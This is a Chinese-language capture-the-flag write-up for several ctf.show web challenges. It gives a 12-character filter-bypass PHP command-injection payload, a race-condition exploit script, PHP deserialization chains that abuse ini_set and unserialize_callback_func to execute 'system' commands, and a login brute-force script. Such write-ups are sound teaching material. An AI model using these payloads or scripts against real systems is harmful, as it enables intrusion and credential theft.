web_checkin
<?php
error_reporting(0);
include "config.php";
//flag in /
function check_letter($code){
$letter_blacklist = str_split("abcdefghijklmnopqrstuvwxyz1234567890");
for ($i = 0; $i < count($letter_blacklist); $i+=2){
$i += 2。它只检查黑名单中索引为偶数的字符
被过滤的字符:a, c, e, g, i, k, m, o, q, s, u, w, y, 1, 3, 5, 7, 9(以及大写)
可用的字符:b, d, f, h, j, l, n, p, r, t, v, x, z, 2, 4, 6, 8, 0
if (preg_match("/".$letter_blacklist[$i]."/i", $code)){
die("xi nei~");
}
}
}
function check_character($code){
$character_blacklist = array('=','\+','%','_','\)','\(','\*','&','\^','-','\$','#','`','@','!','~','\]','\[','}','{','\'','\"',';',' ','\/','\.','\?',',','<',':','>');
for ($i = 1; $i < count($character_blacklist); $i+=2){
if (preg_match("/".$character_blacklist[$i]."/", $code)){
这次是从 $i = 1 开始。它只检查索引为奇数的符号
被过滤的符号:+, _, (, &, -, #, @, ~, [, {, ", (空格), ., ,, :
可用的符号:=, %, ), *, ^, $, , !, ], }, ', ;, /, >,?, <`(眼睛有点花,不确定列的对不对,我只能说意思到了)
die("tongtong xi nei~");
}
}
}
$dir = 'sandbox/' . md5($_SERVER['REMOTE_ADDR']) . '/';// 根据 IP 创建唯一沙箱目录
if (!file_exists($dir)) {
mkdir($dir);
}
if (isset($_GET["code"])) {
$code = substr($_GET["code"], 0, 12);// 限制输入长度为 12 个字符
check_letter($code);
check_character($code);
file_put_contents("$dir" . "index.php", "<?php ".$code.$fuxkfile);
// 返回目录路径
echo $dir;
}else{
highlight_file(__FILE__);
}
第一种做法

直接查看目录
可用字符:" # & ( + , - . 0 2 4 6 8 : = @ B D F H J L N P R T V X Z [ _ b d f h j l n p r t v x z { | ~
?code=?><?=`nl%09/*`
闭合一下前面的语句
nl的一个特性,就是在 Shell 中,* 匹配当前路径的非隐藏文件和目录,/* → 匹配根目录下所有文件和一级子目录,并且nl会依序处理这些文件,输出他们的内容并加上行号,但是会跳过目录和二进制文件
给了一个路径我们进行访问即可获取flag

第二种做法
?code=?><?=`nl%09*`
查看当前目录下的文件源码

<!--?php
4 opendir("./");
5 while($filename = readdir()) {
6 if($filename != "." && $filename != ".." && $filename != "index.php") {
7 unlink($filename);
8 }
9 }
10 closedir();
11 ?-->
很明显是想让我们条件竞争。
生成文件
?code=`nl%09/*>b`
import requests
import threading
import sys
session=requests.session()
url1="http://60c9a571-7c97-4dc3-b54f-52e00a48340c.challenge.ctf.show/sandbox/3fa05e3dafa3d6413be416b360149b5c/"
url2='http://60c9a571-7c97-4dc3-b54f-52e00a48340c.challenge.ctf.show/sandbox/3fa05e3dafa3d6413be416b360149b5c/b'
def write():
while True:
r = session.get(url1)
def read():
while True:
r = session.get(url2)
if len(r.text)!=9561: #随便get传一次就能得到这个长度
print(r.text)
threads = [threading.Thread(target=write),
threading.Thread(target=read)]
for t in threads:
t.start()
easy_unserialize
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2021-04-22 17:44:48
# @Last Modified by: h1xa
# @Last Modified time: 2021-04-26 11:30:38
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
highlight_file(__FILE__);
class main{
public $settings;
public $params;
public function __construct(){
在类实例化时(new main())自动调用
$this->settings=array(
'display_errors'=>'On',
'allow_url_fopen'=>'On'
);
初始化 $settings 数组,开启错误显示和远程文件打开功能
$this->params=array();
}
public function __wakeup(){
当执行 unserialize() 成功且对象被创建后,会立即调用
foreach ($this->settings as $key => $value) {
遍历 $settings 数组,通过 ini_set 动态修改 PHP 配置
ini_set($key, $value);
}
}
public function __destruct(){
当对象被销毁(脚本结束或被 unset)时自动调用
file_put_contents('settings.inc', unserialize($this->params));
}
}
unserialize($_GET['data']);
Notice: Undefined index: data in /var/www/html/index.php on line 39
非预期解
<?php
class A{
}
class main{
public $settings;
public $params;
public function __construct(){
利用了 PHP 的配置项(ini_set)
$this->settings=array(
'error_log'=>'yu.php',
在原代码的 __wakeup 中,会执行 ini_set($key, $value)。这意味着你会成功将 PHP 的错误日志路径改为 yu.php
'unserialize_callback_func'=>'<?php system("cat /f*");?>',
unserialize_callback_func: 这是一个 PHP 配置项。当 unserialize() 尝试对一个未定义的类进行反序列化时,PHP 会尝试调用这个配置项指定的函数
'html_errors'=>false
);
$this->params=serialize(new A());
}
}
$a=new main();
echo serialize($a);

成功执行
<?php
class main{
public $settings;
public $params;
public function __construct(){
$this->settings=array(
'unserialize_callback_func'=>'system',
);
$this->params='O:2:"ls":0:{}';
}
}
$a=new main();
echo serialize($a);


预期解
<?php
class settings{
在后续步骤中,这个类名 settings 会与生成的 settings.inc 文件名产生关联
}
class main{
public $settings;
public $params;
public function __construct(){
$this->settings=array(
'unserialize_callback_func'=>'spl_autoload',
);
//$this->params=serialize("<?php system('cat /f*');"); 生成settings.inc文件,内容是<?php system('cat /f*');
//$this->params=serialize(new settings()); 加载settings.inc
//spl_autoload:这是 PHP 的默认自动加载函数。它的工作原理是:当你尝试实例化或反序列化一个不存在的类(例如 settings)时,它会尝试在当前目录下寻找并包含名为 settings.php 或 settings.inc 的文件
}
}
$a=new main();
echo serialize($a);
也就是说如果第一个参数是settings第二个没有传值,就会去加载(include)settings.inc文件,并且setting.inc文件内容我们可控

下载下来就可以了
RealWorld_CyberShow

没有什么有用的信息,查看源码

看到有三个html页面一个一个查看

看到了登录页面


需要爆破用户密码

想要抓包爆破结果是被加密的
import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
url = "http://de35c1c8-a9d4-45cb-9d85-3ca5ce1709a6.challenge.ctf.show/log_in"
headers = {
"Cookie": "JSESSIONID=0189FA915D476EBE590738FCD0FC7C76",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36",
"Content-Type": "application/x-www-form-urlencoded",
"Origin": "https://de35c1c8-a9d4-45cb-9d85-3ca5ce1709a6.challenge.ctf.show",
"Referer": "https://de35c1c8-a9d4-45cb-9d85-3ca5ce1709a6.challenge.ctf.show/log_in/index.jsp"
}
for a in range(1,100000):
data = {
"username": str(2020000000+a),
"enpwd": "f6d7fefbb39ed575",
"key": "ed504e644c0c167552128ce15b040c61cdc632eb633dfb7b551ea493caadd041"
}
try:
response = requests.post(url, headers=headers, data=data, verify=False)
print(str(2020000000+a))
if response.status_code == 200 and 'error' not in response.text:
print(response.text)
except requests.RequestException as e:
print(f"Request failed: {e}")

是2020036001
easy CMS
涉及知识盲区了,之后会单独出一篇文章